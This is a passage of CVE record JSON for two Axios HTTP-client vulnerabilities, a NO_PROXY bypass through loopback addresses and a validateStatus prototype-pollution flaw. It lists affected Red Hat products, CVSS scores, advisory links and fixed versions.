"product": "Self-service automation portal 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "unaffected",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:gatekeeper:3"
],
"defaultStatus": "unaffected",
"product": "Gatekeeper 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:migration_toolkit_applications:8"
],
"defaultStatus": "unaffected",
"product": "Migration Toolkit for Applications 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3"
],
"defaultStatus": "unaffected",
"product": "OpenShift Service Mesh 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "unaffected",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:hummingbird:1"
],
"defaultStatus": "unaffected",
"product": "Red Hat Hardened Images",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:container_native_virtualization:4"
],
"defaultStatus": "unaffected",
"product": "Red Hat OpenShift Virtualization 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:trusted_artifact_signer:1"
],
"defaultStatus": "unaffected",
"product": "Red Hat Trusted Artifact Signer",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:trusted_profile_analyzer:2"
],
"defaultStatus": "unaffected",
"product": "Red Hat Trusted Profile Analyzer",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_streams:2"
],
"defaultStatus": "unaffected",
"product": "streams for Apache Kafka 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_streams:3"
],
"defaultStatus": "unaffected",
"product": "streams for Apache Kafka 3",
"vendor": "Red Hat"
}
],
"datePublic": "2026-04-24T17:54:42.668Z",
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in Axios, a promise-based HTTP client. An attacker who can control the destination address of an Axios request can exploit this vulnerability. By using specific internal network addresses (within the 127.0.0.0/8 range, excluding 127.0.0.1), the attacker can completely bypass the NO_PROXY protection, potentially leading to unauthorized access or information disclosure within the network. This issue is an incomplete fix for a previous vulnerability."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Important"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-918",
"description": "Server-Side Request Forgery (SSRF)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-01T12:04:57.148Z",
"orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"shortName": "redhat-SADP"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2026-42043"
},
{
"name": "RHBZ#2461626",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461626"
},
{
"tags": [
"x_sadp-csaf-vex"
],
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42043.json"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:25089"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:16874"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24539"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:25273"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:20938"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:22619"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:21338"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:33574"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:14937"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:25041"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24977"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17468"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17474"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:21772"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:16476"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:16534"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:16532"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:16535"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:16542"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:22840"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:22629"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:21017"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24853"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:19375"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:22465"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:23361"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:26214"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:26232"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:26225"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24536"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:25271"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17657"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17699"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:19109"
}
],
"solutions": [
{
"lang": "en",
"value": "RHSA-2026:25089: HawtIO HawtIO 4.4.0"
},
{
"lang": "en",
"value": "RHSA-2026:16874: Network Observability (NETOBSERV) 1.11.2"
},
{
"lang": "en",
"value": "RHSA-2026:24539: Red Hat Advanced Cluster Management for Kubernetes 2.15"
},
{
"lang": "en",
"value": "RHSA-2026:25273: Red Hat Advanced Cluster Management for Kubernetes 2.16"
},
{
"lang": "en",
"value": "RHSA-2026:20889: Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"lang": "en",
"value": "RHSA-2026:20938: Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"lang": "en",
"value": "RHSA-2026:22619: Red Hat Data Grid 8.6.1"
},
{
"lang": "en",
"value": "RHSA-2026:21338: Red Hat Developer Hub 1.8"
},
{
"lang": "en",
"value": "RHSA-2026:33574: Red Hat Developer Hub 1.9"
},
{
"lang": "en",
"value": "RHSA-2026:26234: Red Hat Developer Hub 1.9"
},
{
"lang": "en",
"value": "RHSA-2026:14937: Red Hat Discovery 2"
},
{
"lang": "en",
"value": "RHSA-2026:25041: Red Hat Migration Toolkit 1.8"
},
{
"lang": "en",
"value": "RHSA-2026:24977: Red Hat OpenShift AI 2.25"
},
{
"lang": "en",
"value": "RHSA-2026:17468: Red Hat OpenShift Container Platform 4.20"
},
{
"lang": "en",
"value": "RHSA-2026:17474: Red Hat OpenShift Container Platform 4.21"
},
{
"lang": "en",
"value": "RHSA-2026:21772: Red Hat OpenShift Dev Spaces 3.28"
},
{
"lang": "en",
"value": "RHSA-2026:16476: Red Hat OpenShift Service Mesh 2.6"
},
{
"lang": "en",
"value": "RHSA-2026:16534: Red Hat OpenShift Service Mesh 3.0"
},
{
"lang": "en",
"value": "RHSA-2026:16532: Red Hat OpenShift Service Mesh 3.1"
},
{
"lang": "en",
"value": "RHSA-2026:16535: Red Hat OpenShift Service Mesh 3.2"
},
{
"lang": "en",
"value": "RHSA-2026:16542: Red Hat OpenShift Service Mesh 3.3"
},
{
"lang": "en",
"value": "RHSA-2026:22840: Red Hat Quay 3.10"
},
{
"lang": "en",
"value": "RHSA-2026:22629: Red Hat Quay 3.12"
},
{
"lang": "en",
"value": "RHSA-2026:21017: Red Hat Quay 3.14"
},
{
"lang": "en",
"value": "RHSA-2026:24853: Red Hat Quay 3.15"
},
{
"lang": "en",
"value": "RHSA-2026:19375: Red Hat Quay 3.16"
},
{
"lang": "en",
"value": "RHSA-2026:22465: Red Hat Quay 3.17"
},
{
"lang": "en",
"value": "RHSA-2026:23361: Red Hat Quay 3.9"
},
{
"lang": "en",
"value": "RHSA-2026:26214: Red Hat Satellite 6.18"
},
{
"lang": "en",
"value": "RHSA-2026:26232: Red Hat Satellite 6.18"
},
{
"lang": "en",
"value": "RHSA-2026:26225: Red Hat Satellite 6.18"
},
{
"lang": "en",
"value": "RHSA-2026:24536: multicluster engine for Kubernetes 2.10"
},
{
"lang": "en",
"value": "RHSA-2026:25271: multicluster engine for Kubernetes 2.11"
},
{
"lang": "en",
"value": "RHSA-2026:17657: multicluster engine for Kubernetes 2.6"
},
{
"lang": "en",
"value": "RHSA-2026:17699: multicluster engine for Kubernetes 2.8"
},
{
"lang": "en",
"value": "RHSA-2026:19109: multicluster engine for Kubernetes 2.9"
}
],
"timeline": [
{
"lang": "en",
"time": "2026-04-24T19:01:22.552Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2026-04-24T17:54:42.668Z",
"value": "Made public."
}
],
"title": "axios: Axios: NO_PROXY bypass via crafted URL",
"x_adpType": "supplier",
"x_generator": {
"engine": "sadp-cli 1.0.0"
}
}
],
"cna": {
"affected": [
{
"product": "axios",
"vendor": "axios",
"versions": [
{
"status": "affected",
"version": "\u003e= 1.0.0, \u003c 1.15.1"
},
{
"status": "affected",
"version": "\u003c 0.31.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, an attacker who can influence the target URL of an Axios request can use any address in the 127.0.0.0/8 range (other than 127.0.0.1) to completely bypass the NO_PROXY protection. This vulnerability is due to an incomplete for CVE-2025-62718, This vulnerability is fixed in 1.15.1 and 0.31.1."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-183",
"description": "CWE-183: Permissive List of Allowed Inputs",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-441",
"description": "CWE-441: Unintended Proxy or Intermediary (\u0027Confused Deputy\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-918",
"description": "CWE-918: Server-Side Request Forgery (SSRF)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-24T17:54:42.668Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7"
}
],
"source": {
"advisory": "GHSA-pmwg-cvhr-8vh7",
"discovery": "UNKNOWN"
},
"title": "Axios: Incomplete Fix for CVE-2025-62718 \u2014 NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-42043",
"datePublished": "2026-04-24T17:54:42.668Z",
"dateReserved": "2026-04-23T16:05:01.709Z",
"dateUpdated": "2026-07-01T12:04:57.148Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-42041 (GCVE-0-2026-42041)
Vulnerability from cvelistv5 – Published: 2026-04-24 17:55 – Updated: 2026-07-01 12:04| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-42041",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-24T18:29:47.107016Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-24T18:32:58.115Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-w9j2-pvgh-6h63"
}
],
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"cpes": [
"cpe:/a:redhat:apache_camel_hawtio:4.4::el9"
],
"defaultStatus": "affected",
"product": "HawtIO HawtIO 4.4.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:network_observ_optr:1.11::el9"
],
"defaultStatus": "affected",
"product": "Network Observability (NETOBSERV) 1.11.2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:acm:2.15::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2.15",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:acm:2.16::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2.16",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:advanced_cluster_security:4.10::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Security for Kubernetes 4.10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:advanced_cluster_security:4.9::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Security for Kubernetes 4.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_data_grid:8"
],
"defaultStatus": "affected",
"product": "Red Hat Data Grid 8.6.1",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.8::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.9::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:discovery:2::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Discovery 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhmt:1.8::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Migration Toolkit 1.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai:2.25::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift AI 2.25",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.20::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.20",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.21::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.21",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.28::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Dev Spaces 3.28",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:2.6::el8"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 2.6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.0::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.1::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.1",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.2::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.3::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.10::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.12::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.12",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.14::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.14",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.15::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.15",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.16::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.16",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.17::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.17",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.9::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:satellite:6.18::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Satellite 6.18",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.10::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.11::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.11",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.6::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.8::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.9::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:migration_toolkit_applications:8"
],
"defaultStatus": "affected",
"product": "Migration Toolkit for Applications 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_pipelines:1"
],
"defaultStatus": "affected",
"product": "OpenShift Pipelines",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_registry:2"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apicurio Registry 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:apicurio_registry:3"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apicurio Registry 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:podman_desktop:0"
],
"defaultStatus": "affected",
"product": "Red Hat Build of Podman Desktop - Tech Preview",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_portal:2"
],
"defaultStatus": "affected",
"product": "Self-service automation portal 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "unaffected",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:gatekeeper:3"
],
"defaultStatus": "unaffected",
"product": "Gatekeeper 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3"
],
"defaultStatus": "unaffected",
"product": "OpenShift Service Mesh 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:hummingbird:1"
],
"defaultStatus": "unaffected",
"product": "Red Hat Hardened Images",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:container_native_virtualization:4"
],
"defaultStatus": "unaffected",
"product": "Red Hat OpenShift Virtualization 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:trusted_artifact_signer:1"
],
"defaultStatus": "unaffected",
"product": "Red Hat Trusted Artifact Signer",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:trusted_profile_analyzer:2"
],
"defaultStatus": "unaffected",
"product": "Red Hat Trusted Profile Analyzer",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_streams:2"
],
"defaultStatus": "unaffected",
"product": "streams for Apache Kafka 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_streams:3"
],
"defaultStatus": "unaffected",
"product": "streams for Apache Kafka 3",
"vendor": "Red Hat"
}
],
"datePublic": "2026-04-24T17:55:30.036Z",
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in Axios, a promise-based HTTP client. This vulnerability, a Prototype Pollution \"Gadget\" attack, allows an attacker to manipulate the `Object.prototype.validateStatus` property. By polluting this property, all HTTP error responses (such as 401, 403, or 500) are silently treated as successful responses. This can lead to a complete bypass of application-level authentication and error handling, potentially granting unauthorized access."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Important"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-915",
"description": "Improperly Controlled Modification of Dynamically-Determined Object Attributes",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-01T12:04:57.447Z",
"orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"shortName": "redhat-SADP"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2026-42041"
},
{
"name": "RHBZ#2461629",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461629"
},
{
"tags": [
"x_sadp-csaf-vex"
],
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42041.json"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:25089"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:16874"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24539"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:25273"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:20938"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:22619"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:21338"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:33574"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:14937"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:25041"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24977"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17468"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17474"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:21772"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
